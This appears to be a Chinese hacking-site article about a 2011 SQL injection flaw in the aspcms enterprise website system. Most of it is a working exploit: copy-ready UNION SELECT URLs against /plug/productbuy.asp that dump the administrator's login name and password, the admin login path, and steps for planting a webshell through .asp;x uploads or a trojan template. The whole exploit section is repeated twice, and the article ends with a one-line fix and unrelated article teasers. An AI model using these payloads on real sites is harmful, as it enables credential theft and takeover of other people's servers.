aspcms企業(yè)建站系統(tǒng)0day漏洞介紹
發(fā)布時間：2011-09-26 01:04:08 作者：佚名 
我要評論
我要評論aspcms企業(yè)建站系統(tǒng)0day 2.0以上通殺2011-08-14 19:21aspcms開發(fā)的全新內(nèi)核的開源企業(yè)建站系統(tǒng)，能夠勝任企業(yè)多種建站需求，并且支持模版自定義、支持?jǐn)U展插件等等，能夠在短時間內(nèi)完成企業(yè)建站。
漏洞出現(xiàn)在
/plug/productbuy.asp
對接收的參數(shù)id沒有進(jìn)行過濾而導(dǎo)致的注入漏洞
注入后的頁面有跳轉(zhuǎn)，所以要快，建議用快捷鍵復(fù)制
爆用戶名
/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
這是爆ID=1的賬戶名，如果發(fā)現(xiàn)權(quán)限不夠可以往后試2,3,4...........
爆密碼
/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
后臺登錄地址：/admin/login.asp
后臺拿shell
1、直接上傳.asp;x
2、系統(tǒng)配置信息
3、模版管理新建1.asp模板，內(nèi)容寫馬的內(nèi)容.
修復(fù)方法： id用cint(request("id"))
/plug/productbuy.asp
對接收的參數(shù)id沒有進(jìn)行過濾而導(dǎo)致的注入漏洞
注入后的頁面有跳轉(zhuǎn)，所以要快，建議用快捷鍵復(fù)制
爆用戶名
/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
這是爆ID=1的賬戶名，如果發(fā)現(xiàn)權(quán)限不夠可以往后試2,3,4...........
爆密碼
/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
后臺登錄地址：/admin/login.asp
后臺拿shell
1、直接上傳.asp;x
2、系統(tǒng)配置信息
3、模版管理新建1.asp模板，內(nèi)容寫馬的內(nèi)容.
修復(fù)方法： id用cint(request("id"))
相關(guān)文章
192.168.1.1進(jìn)入路由器默認(rèn)的用戶名和密碼是多少 常用路由默認(rèn)密碼大全
本文把路由器常用的品牌的默認(rèn)的密碼都發(fā)出來.供大家參考2012-05-28加強(qiáng)企業(yè)Linux系統(tǒng)安全的若干方法
世界上沒有絕對安全的系統(tǒng)，即使是普遍認(rèn)為穩(wěn)定的Linux系統(tǒng)，在管理和安全方面也存在不足之處。我們期望讓系統(tǒng)盡量在承擔(dān)低風(fēng)險的情況下工作，這就要加強(qiáng)對系統(tǒng)安全的管理2009-08-13運(yùn)用動態(tài)安全域保護(hù)企業(yè)網(wǎng)的方法
網(wǎng)絡(luò)安全域是指同一系統(tǒng)內(nèi)有相同的安全保護(hù)需求、相互信任，并具有相同的安全訪問控制和邊界控制策略的子網(wǎng)或網(wǎng)絡(luò)，相同的網(wǎng)絡(luò)安全域共享一樣的安全策略2012-07-20全面鞏固企業(yè)的內(nèi)網(wǎng)安全的10個招數(shù)
幾乎所有企業(yè)對于網(wǎng)絡(luò)安全的重視程度一下子提高了，紛紛采購防火墻等設(shè)備希望堵住來自Internet的不安全因素。然而，Intranet內(nèi)部的攻擊和入侵卻依然猖狂。事實(shí)證明，公司內(nèi)2012-05-14mcafee 企業(yè)版8.0 i設(shè)置指南(圖文)
這里要說的就是是否掃描壓縮文件，我的建議是不掃描，因?yàn)閽呙杷麄儠ㄈゴ罅康臅r間，即時里面有病毒，也需要先解壓出來，就是直接運(yùn)行也要解壓到臨時文件夾，這個時候麥咖2009-10-08萬博企業(yè)網(wǎng)站管理系統(tǒng)注入漏洞(MemberLogin.asp)
這個注入漏洞發(fā)生在html/MemberLogin.asp文件里，在Include下有NoSqlHack.Asp文件也沒調(diào)用，呵呵，就有了我們利用的地方了2011-11-19- 網(wǎng)絡(luò)安全是一門涉及計(jì)算機(jī)、網(wǎng)絡(luò)、通訊、密碼、信息安全、應(yīng)用數(shù)學(xué)、數(shù)論、信息論等多種學(xué)科的綜合性學(xué)科，涉及面極廣，而且不斷更新和發(fā)展2013-03-20
- Nmap這些年來功能越來越多， 它也是從一個高效的端口掃描器開始的，并且那仍然是它的核心功能,它把端口分成六個狀態(tài):open(開放的)，closed(關(guān)閉的)，filtered(被過濾的)，u2008-10-08
加強(qiáng)計(jì)算機(jī)的網(wǎng)絡(luò)安全級別控制設(shè)置的方法 防止非法攻擊
網(wǎng)絡(luò)安全永遠(yuǎn)是預(yù)防大于被動的殺毒.防患于未然2012-05-31怎么采用DirectAccess來保護(hù)企業(yè)的網(wǎng)絡(luò)安全
現(xiàn)在微軟在Windows Server 2008 R2和Windows 7中引入了DirectAccess新功能，它是專為替代VPN連接而設(shè)計(jì)的下一代網(wǎng)絡(luò)連接。而且不需要用戶手動連接VPN，只需打開瀏覽器，系2016-07-06